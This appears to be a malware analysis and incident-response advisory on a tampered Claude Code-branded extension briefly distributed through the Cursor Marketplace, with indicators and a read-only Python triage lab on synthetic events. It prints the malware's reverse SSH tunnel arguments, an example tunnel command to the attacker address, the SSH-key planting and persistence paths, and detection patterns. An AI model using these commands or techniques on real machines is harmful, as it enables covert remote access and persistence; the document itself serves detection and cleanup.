MALWARE ANALYSIS / DEVELOPER TOOLING
A tampered Claude Code-branded extension briefly distributed through the Cursor Marketplace attempted to plant an SSH key, establish reverse forwarding, and persist outside the extension directory. Removing the extension alone is not a complete response.
Cursor disclosed the incident on October 29, 2026. Its updated notice identifies anthropic.claude-code versions 2.1.312 and 2.1.313 distributed through the Cursor extension marketplace between approximately 2:27 a.m. and 1:35 p.m. Pacific time that day. Microsoft published a technical analysis on October 30 and confirmed that the malicious packages were not distributed through the Microsoft Visual Studio Marketplace or the npm @anthropic-ai/claude-code package. Anthropic told Microsoft that its systems were not compromised.
The decision in 60 seconds
- Scope: investigate devices that installed or automatically updated the two identified versions from the Cursor Marketplace during the reported window.
- Priority: isolate systems showing loader execution, unauthorized SSH keys, persistence, or reverse-tunnel activity.
- Preserve first: retain the extension package, hashes, modified authorization files, persistence objects, process data, and network telemetry before cleanup.
- Do not stop at uninstall: the loader wrote standalone artifacts outside the extension directory.
What the injected loader attempted
The malicious JavaScript executed when the extension module loaded, before normal extension behavior. Microsoft reconstructed a five-stage chain: host reconnaissance, SSH access preparation, reverse forwarding, platform-specific persistence, and delayed host reporting. The extension continued to function normally while errors were suppressed, which could reduce obvious user-facing symptoms.
1. Host and environment discovery
The loader collected the hostname, username, operating system, architecture, home directory, working directory, and global Git email. It also selected environment-variable names containing terms such as KEY, TOKEN, SECRET, PASS, AWS, or GCP. Microsoft states that the observed callback included names rather than the corresponding secret values. This distinction matters, but it does not prove that later interactive access could not expose credentials.
2. SSH authorization and reverse forwarding
The loader attempted to append an Ed25519 public key labeled svc-telemetry to an SSH authorization file. A separate embedded identity was used for an outbound SSH connection. The command requested remote forwarding back to the workstation’s local port 22 using -N -R '*:0:localhost:22'. The remote server selected the listening port, while the local target remained the SSH service.
Successful remote login depended on local privileges, SSH configuration, and the attacker-controlled server. Cursor reported that errors and administrator requirements prevented the SSH access stage on most macOS and Windows devices. That does not make an installation safe: the loader could still write the unauthorized key, persistence scripts, and host-reporting artifacts.
3. Persistence outside the extension
| Platform path | Attempted persistence | Reported artifacts |
|---|---|---|
| macOS | User LaunchAgent with restart behavior | ~/Library/LaunchAgents/com.apple.sysmond.plist, ~/.config/.smt, ~/.config/.smtk |
| Windows | Scheduled task named SysMon with Startup-folder fallback | %USERPROFILE%\.config\smt.cmd, smtk, and sysmon.cmd |
| Unix-like code path | User crontab reboot entry | ~/.config/.smt, ~/.config/.smtk |
Artifact names imitate monitoring components, so names alone are not proof of compromise. Inspect each object’s contents, creator process, timestamps, configured action, and relationship to the affected extension before removal.
Confirm whether a device is in scope
Start with software inventory and installation provenance. A matching version from another distribution channel is not automatically the malicious package. Correlate the version with the Cursor Marketplace source and the October 29 exposure window, then examine endpoint evidence.
- Identify devices running Cursor and retrieve extension-installation or update records.
- Find
anthropic.claude-codeversion 2.1.312 or 2.1.313 installed from the Cursor Marketplace. - Preserve the installed extension directory and calculate cryptographic hashes before changing it.
- Search authorization files, startup objects, file telemetry, process history, and network events for the published indicators.
- Escalate devices with correlated evidence to incident response and isolate them according to policy.
High-value indicators
- Remote address
134.209.82[.]225, including SSH on TCP 22 and HTTP reporting on port 8099 - Authorization-key comment
svc-telemetrywith fingerprintSHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk - Temporary identity pattern
.stk_[0-9a-f]{10} - Injected JavaScript SHA-256
ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 - Reverse-forwarding process arguments containing
-N -R '*:0:localhost:22'and disabled host-key checking
Cursor reports that the attacker server was taken offline. That limits current connectivity but does not remove keys, scripts, tasks, LaunchAgents, or other artifacts already written to a workstation.
Containment and remediation workflow
Preserve evidence before cleanup
Capture the extension package, its source and install time, relevant hashes, SSH authorization files, generated identities, startup configuration, process trees, network events, authentication records, and any developer credentials accessible from the system. Record time-zone information so marketplace activity, endpoint events, and identity logs align correctly.
Remove confirmed malicious artifacts
- Uninstall the tampered extension after evidence collection.
- Remove only the attacker-controlled SSH key after confirming its full fingerprint. Preserve unrelated developer and remote-administration keys.
- Remove confirmed malicious LaunchAgents, scheduled tasks, Startup scripts, generated tunnel identities, and retry scripts.
- Stop confirmed malicious SSH or autossh processes and check whether they return after login or restart.
- Use Cursor’s platform remediation scripts only after reviewing their contents and execution requirements.
Recover trust, not only functionality
Rotate credentials and revoke sessions from a known-clean device when telemetry shows credential access or when the workstation’s integrity cannot be established. Include source-control tokens, cloud identities, package registries, signing credentials, deployment keys, and locally cached sessions in the review. Rebuild the endpoint when investigation scope, privilege level, or persistence cannot be bounded confidently.
For related supply-chain hardening, see the site’s guide to short-lived npm publishing credentials and the GitHub App token migration checklist. Detection teams maintaining file and process signatures can also review the YARA-X validation workflow.
Hands-on lab: triage synthetic endpoint events
This lab is intentionally read-only and non-exploitative. It scans synthetic JSON Lines events for published indicators and an affected-version pattern. It does not inspect a live endpoint, connect to the reported infrastructure, or modify any file.
Prerequisites
- Python 3.9 or later
- An isolated temporary directory
- No network access
{"host":"mac-dev-07","type":"file","value":"/Users/dev/Library/LaunchAgents/com.apple.sysmond.plist"}
{"host":"mac-dev-07","type":"ssh_key","value":"ssh-ed25519 REDACTED svc-telemetry"}
{"host":"win-dev-04","type":"extension","value":"anthropic.claude-code 2.1.313 source=Cursor"}
{"host":"win-dev-04","type":"process","value":"ssh -N -R *:0:localhost:22 [email protected]"}
{"host":"build-agent","type":"network","value":"remote=134.209.82.225:22"}
{"host":"clean-laptop","type":"extension","value":"anthropic.claude-code 2.1.310 source=Cursor"}#!/usr/bin/env python3
import json, re, sys
IOC_TERMS = {
"REMOTE_IP": "134.209.82.225",
"SSH_KEY_MARKER": "svc-telemetry",
"MACOS_LAUNCH_AGENT": "com.apple.sysmond.plist",
"TUNNEL_IDENTITY": ".stk_",
}
AFFECTED = re.compile(
r"anthropic\.claude-code\s+2\.1\.(312|313)\b.*source=Cursor",
re.IGNORECASE,
)
def classify(value):
hits = [name for name, term in IOC_TERMS.items()
if term.lower() in value.lower()]
if AFFECTED.search(value):
hits.append("AFFECTED_EXTENSION_VERSION")
if "ssh -n -r" in value.lower() and "localhost:22" in value.lower():
hits.append("REVERSE_SSH_PATTERN")
return hits
results = []
with open(sys.argv[1], encoding="utf-8") as handle:
for line_number, line in enumerate(handle, 1):
event = json.loads(line)
for finding in classify(event.get("value", "")):
results.append((event.get("host", "unknown"), line_number, finding))
print("host,line,finding")
for host, line_number, finding in sorted(results):
print(f"{host},{line_number},{finding}")
raise SystemExit(2 if results else 0)Save the events as events.jsonl and the script as cursor_extension_hunt.py, then run:
python3 cursor_extension_hunt.py events.jsonl
echo "exit=$?"Expected output
host,line,finding
build-agent,5,REMOTE_IP
mac-dev-07,1,MACOS_LAUNCH_AGENT
mac-dev-07,2,SSH_KEY_MARKER
win-dev-04,3,AFFECTED_EXTENSION_VERSION
win-dev-04,4,REMOTE_IP
win-dev-04,4,REVERSE_SSH_PATTERN
exit=2Troubleshooting and cleanup
Exit code 2 means the dataset contained investigation leads; it does not declare a host compromised. If a production export uses different field names, normalize it before scanning and retain original evidence separately. When finished, delete the temporary lab directory. Do not include real secrets or full private keys in test data.
Prevent the next extension supply-chain incident
- Restrict extension installation to approved publishers, package identifiers, versions, and distribution sources.
- Apply an installation cooldown for newly published or updated extensions so defenders can review reputation and behavior.
- Collect extension inventory, file, process, network, authorization-file, and startup telemetry from developer endpoints.
- Keep code editors out of privileged administrator sessions and separate development from release-signing or deployment identities.
- Use short-lived, workload-bound credentials and avoid exposing broad cloud or package-registry tokens to interactive tools.
Workspace trust is useful for unfamiliar repositories, but Microsoft documents that a malicious extension can ignore restricted-mode expectations. Extension provenance and publisher controls therefore remain a separate security boundary.
Conclusion
This incident shows why developer extensions belong inside the software supply-chain threat model. Identify the two affected versions from the Cursor Marketplace, preserve evidence, hunt for the SSH key and persistence chain, and remove confirmed artifacts beyond the extension folder. Where endpoint trust is uncertain, rotate credentials from a clean system and rebuild rather than relying on a successful uninstall.
Primary references
- Cursor security notice, published October 29 and updated October 30, 2026
- Microsoft Security Research technical analysis, October 30, 2026
- Visual Studio Code extension runtime security guidance
- Visual Studio Code Workspace Trust documentation







